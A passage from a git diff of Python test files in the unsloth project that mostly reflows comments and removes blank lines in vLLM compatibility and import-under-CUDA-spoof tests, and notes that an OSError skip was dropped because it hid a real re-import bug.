fills it positionally and an injector that# then adds it as a keyword is `TypeError: got multiple values for argument`.--class VLLMSignatureEngine(FakeEngine):"""`FakeEngine` with vLLM 0.27.1's real parameter lists on both entry points."""diff --git a/tests/version_compat/test_unsloth_zoo_save_merged_pinned_symbols.py b/tests/version_compat/test_unsloth_zoo_save_merged_pinned_symbols.pyindex ec66d88b0cc..589caadd2a7 100644--- a/tests/version_compat/test_unsloth_zoo_save_merged_pinned_symbols.py+++ b/tests/version_compat/test_unsloth_zoo_save_merged_pinned_symbols.py@@ -83,9 +83,8 @@ def test_zoo_saving_utils_has_num_experts_resolver():def test_zoo_saving_utils_writes_generation_config():src = _fetch_saving_utils()_skip_until_pr_647_lands(src)- # zoo#647 aliases generation_config to a local var, so match a- # `generation_config` mention plus a nearby `.save_pretrained(` call- # rather than the exact `generation_config.save_pretrained(` substring.+ # zoo#647 aliases generation_config to a local var, so match a `generation_config` mention plus a nearby+ # `.save_pretrained(` call rather than the exact `generation_config.save_pretrained(` substring.assert re.search(r"generation_config[\s\S]{0,400}?\.save_pretrained\s*\(", src), "generation_config.json no longer saved (#5410)."diff --git a/tests/vllm_compat/test_extended_module_imports.py b/tests/vllm_compat/test_extended_module_imports.pyindex 314667f3dc9..4352eba5e67 100644--- a/tests/vllm_compat/test_extended_module_imports.py+++ b/tests/vllm_compat/test_extended_module_imports.py@@ -84,8 +84,6 @@ def _has_unsloth() -> bool:# unsloth-zoo modules with no top-level vllm/CUDA import: must load cleanly under spoof.--_ZOO_VLLM_FREE_MODULES = ["unsloth_zoo.compiler","unsloth_zoo.compiler_replacements",@@ -125,8 +123,6 @@ def test_unsloth_zoo_module_imports_under_spoof(modname: str):# Spoof correctness: _IS_MLX stays False on a non-Mac runner.--@pytest.mark.skipif(not _has_unsloth(), reason = "unsloth not installed")def test_unsloth_is_mlx_false_under_spoof():"""CUDA spoof must not flip _IS_MLX on non-Apple-Silicon hosts."""@@ -139,9 +135,7 @@ def test_unsloth_is_mlx_false_under_spoof():)-# unsloth.models.* — core surfaces loaded transitively by `from unsloth import FastLanguageModel`.--+# unsloth.models.* - core surfaces loaded transitively by `from unsloth import FastLanguageModel`._UNSLOTH_CORE_MODULES = ["unsloth.models.rl","unsloth.models.rl_replacements",@@ -166,25 +160,18 @@ def test_unsloth_core_module_imports_under_spoof(modname: str):try:importlib.import_module(modname)except Exception as e:- # OSError("could not get source code") used to be skipped here as an- # "editable-install + frozen sub-import quirk". It was not an- # environment quirk: popping the module and importing it again is- # exactly the second import that unsloth/models/_utils.py could not- # survive, because it read the source of BitsAndBytesConfig.__init__- # and then replaced that __init__ with an exec'd function having no- # source. The skip meant _utils, loader, loader_utils and- # rl_replacements were silently uncovered here, and the bug it hid- # broke any test file that imported unsloth after this one ran in the- # same worker. Failing is the point of the case, so it fails now.+ # OSError("could not get source code") used to be skipped here as an "editable-install + frozen sub-import+ # quirk".+ # It was not an environment quirk: popping the module and importing it again is exactly the second import that+ # unsloth/models/_utils.py could not survive, because it read the source of BitsAndBytesConfig.__init__ and then+ # replaced that __init__ with an exec'd function having no source.+ # The skip meant _utils, loader, loader_utils and rl_replacements were silently uncovered here, and the bug it+ # hid broke any test file that imported unsloth after this one ran in the same worker.pytest.fail(f"{modname} failed to import under CUDA spoof: " f"{type(e).__name__}: {str(e)[:300]}")-# FastLanguageModel/FastVisionModel/FastModel surface must be non-empty-# with the notebook-relied methods present.--@pytest.mark.skipif(not _has_unsloth(), reason = "unsloth not installed")def test_fast_model_class_surface_under_spoof():sys.modules.pop("unsloth", None)@@ -209,10 +196,8 @@ def test_fast_model_class_surface_under_spoof():)-# RL surface: GRPO/SFT/DPO dispatch table must be populated, not silently-# empty while rl_replacements imports cleanly.--+# FastLanguageModel/FastVisionModel/FastModel surface must be non-empty with the notebook-relied methods present.+# RL surface: GRPO/SFT/DPO dispatch table must be populated, not silently empty while rl_replacements imports cleanly.@pytest.mark.skipif(not _has_unsloth(), reason = "unsloth not installed")def test_unsloth_rl_replacements_dispatch_populated():try:@@ -220,10 +205,7 @@ def test_unsloth_rl_replacements_dispatch_populated():except Exception as e:pytest.skip(f"`import unsloth` failed under spoof: {e}")sys.modules.pop("unsloth.models.rl_replacements", None)- # Not wrapped in a skip-on-OSError any more: see the note in- # test_unsloth_core_module_imports_under_spoof. The OSError that used to be- # skipped here was unsloth's re-import bug, not the environment, and- # skipping it left this case asserting nothing.+ # Not wrapped in a skip-on-OSError any more: see the note in test_unsloth_core_module_imports_under_spoof.rl = importlib.import_module("unsloth.models.rl_replacements")funcs = getattr(rl, "RL_FUNCTIONS", None)if funcs is None:@@ -241,8 +223,6 @@ def test_unsloth_rl_replacements_dispatch_populated():# unsloth-zoo compiler test_apply_fused_lm_head (compiler.py:1983) must be callable.--@pytest.mark.skipif(not _has_unsloth_zoo(), reason = "unsloth_zoo not installed")def test_zoo_compiler_apply_fused_lm_head_callable():sys.modules.pop("unsloth_zoo.compiler", None)@@ -255,8 +235,6 @@ def test_zoo_compiler_apply_fused_lm_head_callable():# FastModel.from_pretrained kwarg stability: removal becomes silent positional drift.--@pytest.mark.skipif(not _has_unsloth(), reason = "unsloth not installed")def test_fast_model_from_pretrained_kwargs_under_spoof():sys.modules.pop("unsloth", None)diff --git a/tests/vllm_compat/test_unsloth_zoo_imports.py b/tests/vllm_compat/test_unsloth_zoo_imports.pyindex 92e40e4b9f2..a5c5a617dd3 100644--- a/tests/vllm_compat/test_unsloth_zoo_imports.py+++ b/tests/vllm_compat/test_unsloth_zoo_imports.py@@ -85,9 +85,8 @@ def _has_vllm() -> bool:return importlib.util.find_spec("vllm") is not None-# rl_replacements: zero direct vllm imports; the GRPO + fast_inference surface.--+# rl_replacements: zero direct vllm imports;+# the GRPO + fast_inference surface.@pytest.mark.skipif(not _has_unsloth_zoo(), reason = "unsloth_zoo not installed")def test_rl_replacements_imports_without_vllm():"""unsloth_zoo.rl_replacements must NOT pull in vllm at import time."""@@ -99,7 +98,6 @@ def test_rl_replacements_imports_without_vllm():"GRPO on environments without vllm installed (the use_vllm=False path ""is supposed to work without vllm).")- # Spot-check a known public surfaceassert (hasattr(rl, "RL_REPLACEMENTS")or hasattr(rl, "RL_FUNCTIONS")@@ -107,9 +105,8 @@ def test_rl_replacements_imports_without_vllm():), "expected at least one GRPO-related export in rl_replacements"-# empty_model: no vllm import; pure builder for the fast_inference=True path.--+# empty_model: no vllm import;+# pure builder for the fast_inference=True path.@pytest.mark.skipif(not _has_unsloth_zoo(), reason = "unsloth_zoo not installed")def test_empty_model_imports_without_vllm():sys.modules.pop("unsloth_zoo.empty_model", None)@@ -126,8 +123,6 @@ def test_empty_model_imports_without_vllm():# vllm_lora_request / vllm_lora_worker_manager / vllm_utils: hard-import vllm,# so skip without it (pinned-symbols test covers version compat statically).--@pytest.mark.skipif(not (_has_unsloth_zoo() and _has_vllm()), reason = "vllm not installed on this runner")@@ -142,8 +137,8 @@ def test_vllm_lora_request_imports():def test_vllm_lora_worker_manager_imports():sys.modules.pop("unsloth_zoo.vllm_lora_worker_manager", None)mod = importlib.import_module("unsloth_zoo.vllm_lora_worker_manager")- # e3072a23 added supports_tower_connector_lora for vLLM 0.14's- # gpu_model_runner; assert the patched class exposes it.+ # e3072a23 added supports_tower_connector_lora for vLLM 0.14's gpu_model_runner; assert the patched class exposes+ # it.cls = getattr(mod, "WorkerLoRAManager", None)if cls is not None:assert (diff --git a/tests/vllm_compat/test_vllm_pinned_symbols.py b/tests/vllm_compat/test_vllm_pinned_symbols.pyindex a646733cbb4..043079c8fd3 100644--- a/tests/vllm_compat/test_vllm_pinned_symbols.py+++ b/tests/vllm_compat/test_vllm_pinned_symbols.py@@ -76,8 +76,6 @@ def _has_def(# HARD-import symbols: must be present in every tested version.--@pytest.mark.parametrize("tag", VLLM_TAGS)def test_vllm_lora_request_hard_imports(tag: str):"""LoRARequest, get_adapter_absolute_path, PEFTHelper -- hard-imported by unsloth-zoo's vllm_lora_worker_manager."""@@ -139,7 +137,7 @@ def test_vllm_lora_models_either_path(tag: str):)if old_src is not None:if all(_has_def(old_src, n, k) for n, (k, _) in needed.items()):- return # All resolve through the legacy single-file path.+ return# New path (post vLLM PR #30253):lora_model_src = _fetch_text("vllm-project/vllm", tag, "vllm/lora/lora_model.py")@@ -163,8 +161,6 @@ def test_vllm_lora_models_either_path(tag: str):# Optional / version-gated symbols: assert presence only on minors claiming support.--@pytest.mark.parametrize("tag", VLLM_TAGS)def test_vllm_worker_lora_manager_class(tag: str):"""vllm.lora.worker_manager.WorkerLoRAManager -- unsloth-zoo subclasses it; signature drives old_init vs new_init."""@@ -193,10 +189,8 @@ def test_lora_request_no_removed_kwargs(tag: str):assert has_dir or has_path, f"{tag}: vllm.lora.request has neither lora_dir nor lora_path"-# UNSLOTH_VLLM_STANDBY hard-error windows: unsloth-zoo refuses standby on-# 0.10.0 <= vllm < 0.11.0 (std::bad_alloc) and 0.14.0 <= vllm < 0.15.0 (cudaErrorIllegalAddress).--+# UNSLOTH_VLLM_STANDBY hard-error windows: unsloth-zoo refuses standby on 0.10.0 <= vllm < 0.11.0 (std::bad_alloc) and+# 0.14.0 <= vllm < 0.15.0 (cudaErrorIllegalAddress).def _vllm_zoo_local_path() -> str | None:"""Return the on-runner path to unsloth_zoo.vllm_utils source, or None."""try: